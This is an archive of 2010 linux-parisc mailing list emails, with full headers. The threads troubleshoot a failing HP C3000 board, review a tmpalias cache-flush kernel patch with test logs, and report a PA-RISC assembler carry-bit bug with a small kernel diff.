Newsgroups: gmane.linux.ports.parisc
Subject: Re: Resurrecting my C3000.
Date: Thu, 23 Dec 2010 13:43:59 -0500 (EST)
Lines: 29
Approved: news@gmane.org
Message-ID: <20101223184400.384304E75@hiauly1.hia.nrc.ca>
References: <AANLkTimOpLijMDTttD-MD9uKfGFz6KrnCmae71-S=Deq@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1293129846 2241 80.91.229.12 (23 Dec 2010 18:44:06 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 23 Dec 2010 18:44:06 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 23 19:44:02 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PVq8w-0000g0-BO
	for glpp-linux-parisc@lo.gmane.org; Thu, 23 Dec 2010 19:44:02 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753649Ab0LWSoB (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 23 Dec 2010 13:44:01 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:2057 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753604Ab0LWSoB (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 23 Dec 2010 13:44:01 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 384304E75; Thu, 23 Dec 2010 13:44:00 -0500 (EST)
In-Reply-To: <AANLkTimOpLijMDTttD-MD9uKfGFz6KrnCmae71-S=Deq@mail.gmail.com> from "Carlos O'Donell" at Dec 23, 2010 01:31:46 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3304
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3304>

> The C3K is a single board system, the RS-232 connectors on the back
> are mounted and routed directly to the motherboard (like a common PC).
> 
> If I remove the disks, CDROM, floppy, and memory from the system, it
> still powers up and displays the same error.
> 
> I was surprised it booted without any ram in the slots, but it's a
> robust design :-)

Can you switch to graphics console?  Otherwise, it looks like you need
a new system board...

It looks like a problem with the Super I/O controller which handles
USB, RS-232, Parallel, Floppy and CDRom.  It might be the RS-232
interface chip (something like MAX3232).  It's not uncommon for
these devices to get blown by ESD.  Also, the charge pumps sometimes
fail, or don't start reliably.

Possibly, a PC serial card would work if the machine will boot.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Resurrecting my C3000.
Date: Thu, 23 Dec 2010 19:58:33 +0100
Lines: 26
Approved: news@gmane.org
Message-ID: <AANLkTikrtfn22+NU750hk_iFcysfuodXtShkzG_1owK6@mail.gmail.com>
References: <AANLkTimOpLijMDTttD-MD9uKfGFz6KrnCmae71-S=Deq@mail.gmail.com> <20101223184400.384304E75@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1293130746 5917 80.91.229.12 (23 Dec 2010 18:59:06 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 23 Dec 2010 18:59:06 +0000 (UTC)
Cc: "Carlos O'Donell" <carlos@systemhalted.org>,
	linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 23 19:59:02 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PVqNP-0007Oe-02
	for glpp-linux-parisc@lo.gmane.org; Thu, 23 Dec 2010 19:58:59 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753629Ab0LWS66 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 23 Dec 2010 13:58:58 -0500
Original-Received: from mail-qw0-f46.google.com ([209.85.216.46]:49934 "EHLO
	mail-qw0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753618Ab0LWS66 convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 23 Dec 2010 13:58:58 -0500
Original-Received: by qwa26 with SMTP id 26so6522907qwa.19
        for <linux-parisc@vger.kernel.org>; Thu, 23 Dec 2010 10:58:57 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:mime-version:sender:received
         :in-reply-to:references:from:date:x-google-sender-auth:message-id
         :subject:to:cc:content-type:content-transfer-encoding;
        bh=fRPpI0v9r6f7acF17DnBm/n1CUdoGcU7Bn8CYrcyQIM=;
        b=s8MWEsH++KYPwm3j/BO1MbjzJPqI9cORjWCHWqXQw2E/1pPyaWop962lOE5glDNwDT
         OKPKTEB9s6cWsre6E0a8J2EsZxG6gbWawPHXiSYPfR+w4fD7fo8x+nE1+d6IKLBdJQ9l
         k6C30zphGjXCOjy47jXKUSnEZVEr8IO7LvWWA=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:from:date
         :x-google-sender-auth:message-id:subject:to:cc:content-type
         :content-transfer-encoding;
        b=djlt+pjEGHWS95SuAgEnofyeS/qZf4huRaD1wxU5cxtnxVx71NY3frdCWnwLvUeP14
         OSwn9CtGt6b3alr1BRTVUZ+LzLqanWkJYPi06riinWFsVe8/SQTYVZjZL+44xb3iVw3T
         wHeQC8VpBZBnvCrLHs4h6i1eGHlFe+6TIKlc4=
Original-Received: by 10.229.229.139 with SMTP id ji11mr7546250qcb.174.1293130736840;
 Thu, 23 Dec 2010 10:58:56 -0800 (PST)
Original-Received: by 10.229.40.148 with HTTP; Thu, 23 Dec 2010 10:58:33 -0800 (PST)
In-Reply-To: <20101223184400.384304E75@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: BDnOgkpmpTtOW8z45F-GYsAWSmw
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3305
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3305>

On Thu, Dec 23, 2010 at 7:43 PM, John David Anglin
<dave@hiauly1.hia.nrc.ca> wrote:
>> The C3K is a single board system, the RS-232 connectors on the back
>> are mounted and routed directly to the motherboard (like a common PC=
).
>>
>> If I remove the disks, CDROM, floppy, and memory from the system, it
>> still powers up and displays the same error.
>>
>> I was surprised it booted without any ram in the slots, but it's a
>> robust design :-)
>
> Can you switch to graphics console? =C2=A0Otherwise, it looks like yo=
u need
> a new system board...

graphics console without SuckyIO means no USB, ergo, no input... It
sure can be fixed, but is it worth it? :)

HTH
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Resurrecting my C3000.
Date: Thu, 23 Dec 2010 15:26:57 -0500
Lines: 13
Approved: news@gmane.org
Message-ID: <20101223202657.GI15129@bombadil.infradead.org>
References: <AANLkTinFSs6z35AcsAWZ8AuvvPgSDwj8G6Xt4uhOY1XV@mail.gmail.com>
 <20101223182318.A026E4E69@hiauly1.hia.nrc.ca>
 <AANLkTimOpLijMDTttD-MD9uKfGFz6KrnCmae71-S=Deq@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1293136028 29172 80.91.229.12 (23 Dec 2010 20:27:08 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 23 Dec 2010 20:27:08 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	linux-parisc@vger.kernel.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 23 21:27:04 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PVrkb-000835-RE
	for glpp-linux-parisc@lo.gmane.org; Thu, 23 Dec 2010 21:27:02 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751468Ab0LWU1B (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 23 Dec 2010 15:27:01 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:37789 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751418Ab0LWU1A (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 23 Dec 2010 15:27:00 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux))
	id 1PVrkX-0002i4-J0; Thu, 23 Dec 2010 20:26:57 +0000
Content-Disposition: inline
In-Reply-To: <AANLkTimOpLijMDTttD-MD9uKfGFz6KrnCmae71-S=Deq@mail.gmail.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3306
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3306>

On Thu, Dec 23, 2010 at 01:31:46PM -0500, Carlos O'Donell wrote:
> If I remove the disks, CDROM, floppy, and memory from the system, it
> still powers up and displays the same error.
> 

I have a C3700 you're welcome to if you want it. (Or a J6700?)

--Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: flush pages through tmpalias space
Date: Sat, 25 Dec 2010 22:52:19 +0100
Lines: 38
Approved: news@gmane.org
Message-ID: <4D166793.30901@gmx.de>
References: <1293034931.3019.8.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1293313950 7027 80.91.229.12 (25 Dec 2010 21:52:30 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 25 Dec 2010 21:52:30 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Dec 25 22:52:25 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PWc2J-0002dS-CK
	for glpp-linux-parisc@lo.gmane.org; Sat, 25 Dec 2010 22:52:23 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751138Ab0LYVwW (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 25 Dec 2010 16:52:22 -0500
Original-Received: from mailout-de.gmx.net ([213.165.64.23]:39664 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with SMTP
	id S1751103Ab0LYVwW (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 25 Dec 2010 16:52:22 -0500
Original-Received: (qmail invoked by alias); 25 Dec 2010 21:52:20 -0000
Original-Received: from p54AD03D0.dip0.t-ipconnect.de (EHLO [192.168.178.60]) [84.173.3.208]
  by mail.gmx.net (mp011) with SMTP; 25 Dec 2010 22:52:20 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18wDxBpgxMwL/SNQY4jK/XcTDytmKbIGVDY/GDoFp
	/rnVWurDvU29MU
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Fedora/3.1.7-0.35.b3pre.fc14 Lightning/1.0b3pre Thunderbird/3.1.7
In-Reply-To: <1293034931.3019.8.camel@mulgrave.site>
X-Enigmail-Version: 1.1.2
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3307
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3307>

On 12/22/2010 05:22 PM, James Bottomley wrote:
> The kernel has an 8M tmpailas space (originally designed for copying
> and clearing pages but now only used for clearing).  The idea is
> to place zeros into the cache above a physical page rather than into
> the physical page and flush the cache, because often the zeros end up
> being replaced quickly anyway.
> 
> We can also use the tmpalias space for flushing a page.  The difference
> here is that we have to do tmpalias processing in the non access data and
> instruction traps.  The principle is the same: as long as we know the physical
> address and have a virtual address congruent to the real one, the flush will
> be effective.
> 
> In order to use the tmpalias space, the icache miss path has to be enhanced to
> check for the alias region to make the fic instruction effective.
> 
> Signed-off-by: James Bottomley <James.Bottomley@HansenPartnership.com>


Hi James,

Cool, I assume this patch intends to fix the "Threads and fork on VIPT-WB machines" bug as described here: http://wiki.parisc-linux.org/TestCases ?

I did some initial testing and it seems to really fix it...
I'll continue testing during the next few days (with 2.6.37-rc7-32bit).

Helge


BTW: compilation gives one small warning:
arch/parisc/kernel/cache.c: In function 'flush_dcache_page':
arch/parisc/kernel/cache.c:310: warning: pointer type mismatch in conditional expression
arch/parisc/kernel/cache.c:310: warning: format '%s' expects type 'char *', but argument 4 has type 'void * const'
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: PA-RISC 2.0 add/sub carry/borrow bug
Date: Mon, 27 Dec 2010 12:20:27 -0500
Organization: nrc.ca
Lines: 46
Approved: news@gmane.org
Message-ID: <20101227172026.GA25187@hiauly1.hia.nrc.ca>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1293470438 5862 80.91.229.12 (27 Dec 2010 17:20:38 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 27 Dec 2010 17:20:38 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 27 18:20:34 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PXGkK-0005K1-Ev
	for glpp-linux-parisc@lo.gmane.org; Mon, 27 Dec 2010 18:20:32 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753772Ab0L0RUb (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 27 Dec 2010 12:20:31 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:2180 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753712Ab0L0RUb (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 27 Dec 2010 12:20:31 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id BBFAB4E01; Mon, 27 Dec 2010 12:20:27 -0500 (EST)
Content-Disposition: inline
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3308
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3308>

Yesterday, after updating binutils to head, I hit an assembler error
assembling code from checksum.h:

 "      add,dc          %%r20, %0, %0\n"

It turns out that that gas was previously mis-assembling

	add		%r1,%r2,%r3

when generating PA 2.0 code.  It seems the overflow (d bit) was
incorrectly being set, indicating that a 64-bit signed overflow
was needed.  In fact, 32-bit signed overflow is the default unless
there is a "dc" completor or a 64-bit condition.

A patch was applied to fix the above.  However, it broke the handling
of "add,dc".  It also didn't fix sub.

It seems that the gas bug was hiding some code generation issues in
gcc.  The code in the linux kernel where I noticed this is also broken.
The linux change is untested.

Until gcc is fixed, binutils head can't be used ;(

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

diff --git a/arch/parisc/include/asm/checksum.h b/arch/parisc/include/asm/checksum.h
index c84b2fc..3efcc33 100644
--- a/arch/parisc/include/asm/checksum.h
+++ b/arch/parisc/include/asm/checksum.h
@@ -140,7 +140,7 @@ static __inline__ __sum16 csum_ipv6_magic(const struct in6_addr *saddr,
 "	ldd,ma		8(%1), %%r19\n"	/* get 1st saddr word */
 "	ldd,ma		8(%2), %%r20\n"	/* get 1st daddr word */
 "	add		%8, %3, %3\n"/* add 16-bit proto + len */
-"	add		%%r19, %0, %0\n"
+"	add,*		%%r19, %0, %0\n"
 "	ldd,ma		8(%1), %%r21\n"	/* 2cd saddr */
 "	ldd,ma		8(%2), %%r22\n"	/* 2cd daddr */
 "	add,dc		%%r20, %0, %0\n"
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: flush pages through tmpalias space
Date: Tue, 28 Dec 2010 23:23:47 -0500
Organization: nrc.ca
Lines: 28
Approved: news@gmane.org
Message-ID: <20101229042346.GA973@hiauly1.hia.nrc.ca>
References: <1293034931.3019.8.camel@mulgrave.site>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1293596638 31967 80.91.229.12 (29 Dec 2010 04:23:58 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 29 Dec 2010 04:23:58 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 29 05:23:54 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PXnZo-0002tj-7x
	for glpp-linux-parisc@lo.gmane.org; Wed, 29 Dec 2010 05:23:52 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751259Ab0L2EXt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 28 Dec 2010 23:23:49 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:2222 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751157Ab0L2EXt (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 28 Dec 2010 23:23:49 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id CF3004FB2; Tue, 28 Dec 2010 23:23:47 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <1293034931.3019.8.camel@mulgrave.site>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3309
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3309>

On Wed, 22 Dec 2010, James Bottomley wrote:

> +		if (old_addr == 0 || (old_addr & (SHMLBA - 1)) != (addr & (SHMLBA - 1))) {
> +			__flush_cache_page(mpnt, addr, page_to_phys(page));
> +			if (old_addr)
> +				printk(KERN_ERR "INEQUIVALENT ALIASES 0x%lx and 0x%lx in file %s\n", old_addr, addr, mpnt->vm_file ? mpnt->vm_file->f_path.dentry->d_name.name : "(null)");
> +			old_addr = addr;
>  		}

I'm seeing the above kernel error on shutdown:

Dec 26 12:30:56 mx3210 kernel: INEQUIVALENT ALIASES 0x13000 and 0x14000 in file killall5
Dec 26 12:30:56 mx3210 kernel: INEQUIVALENT ALIASES 0x40122000 and 0x40121000 in file ld-2.11.2.so
Dec 26 12:30:57 mx3210 kernel: INEQUIVALENT ALIASES 0x402a7000 and 0x402a6000 in file libc-2.11.2.so

This is with 2.6.36.2 and your two patches on a SMP kernel.  I've also seen
these messages with a similar UP build in the gcc guality tests.  These
check debug info with gdb.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:06:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: flush pages through tmpalias space
Date: Wed, 29 Dec 2010 08:49:43 -0600
Lines: 47
Approved: news@gmane.org
Message-ID: <1293634183.2803.2.camel@fuzzy>
References: <1293034931.3019.8.camel@mulgrave.site>  <4D166793.30901@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1293634193 11441 80.91.229.12 (29 Dec 2010 14:49:53 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 29 Dec 2010 14:49:53 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 29 15:49:48 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PXxLY-0001UG-9C
	for glpp-linux-parisc@lo.gmane.org; Wed, 29 Dec 2010 15:49:48 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753082Ab0L2Otr (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 29 Dec 2010 09:49:47 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:40664 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752758Ab0L2Otr (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 29 Dec 2010 09:49:47 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 5B20C8EE0F5;
	Wed, 29 Dec 2010 06:49:46 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id ZJ+qEDiLJhz2; Wed, 29 Dec 2010 06:49:46 -0800 (PST)
Original-Received: from [172.17.193.205] (unknown [66.155.189.2])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 0BAED8EE0EA;
	Wed, 29 Dec 2010 06:49:45 -0800 (PST)
In-Reply-To: <4D166793.30901@gmx.de>
X-Mailer: Evolution 2.30.3 (2.30.3-1.fc13) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3311
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3311>

On Sat, 2010-12-25 at 22:52 +0100, Helge Deller wrote:
> On 12/22/2010 05:22 PM, James Bottomley wrote:
> > The kernel has an 8M tmpailas space (originally designed for copying
> > and clearing pages but now only used for clearing).  The idea is
> > to place zeros into the cache above a physical page rather than into
> > the physical page and flush the cache, because often the zeros end up
> > being replaced quickly anyway.
> > 
> > We can also use the tmpalias space for flushing a page.  The difference
> > here is that we have to do tmpalias processing in the non access data and
> > instruction traps.  The principle is the same: as long as we know the physical
> > address and have a virtual address congruent to the real one, the flush will
> > be effective.
> > 
> > In order to use the tmpalias space, the icache miss path has to be enhanced to
> > check for the alias region to make the fic instruction effective.
> > 
> > Signed-off-by: James Bottomley <James.Bottomley@HansenPartnership.com>
> 
> 
> Hi James,
> 
> Cool, I assume this patch intends to fix the "Threads and fork on
> VIPT-WB machines" bug as described here:
> http://wiki.parisc-linux.org/TestCases ?

Well, not really ... it's meant  to provide data to fix that case.  The
theory behind them is that if we flush in the wrong place (say after the
mapping has been torn down), then the flush becomes ineffective.  The
idea of flushing through the tmpalias space is that the flush becomes
effective regardless of placement.  I didn't really think we had any
ineffective flushes, but it's good to demonstrate that.

> I did some initial testing and it seems to really fix it...
> I'll continue testing during the next few days (with 2.6.37-rc7-32bit).

That's an interesting data point ... it certainly doesn't fix the
problem with me on pa8800 SMP.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: flush pages through tmpalias space
Date: Wed, 29 Dec 2010 08:51:21 -0600
Lines: 33
Approved: news@gmane.org
Message-ID: <1293634281.2803.4.camel@fuzzy>
References: <1293034931.3019.8.camel@mulgrave.site>
	 <20101229042346.GA973@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1293634292 12014 80.91.229.12 (29 Dec 2010 14:51:32 GMT)
X-Complaints-To: usenet@dough.gmane.org
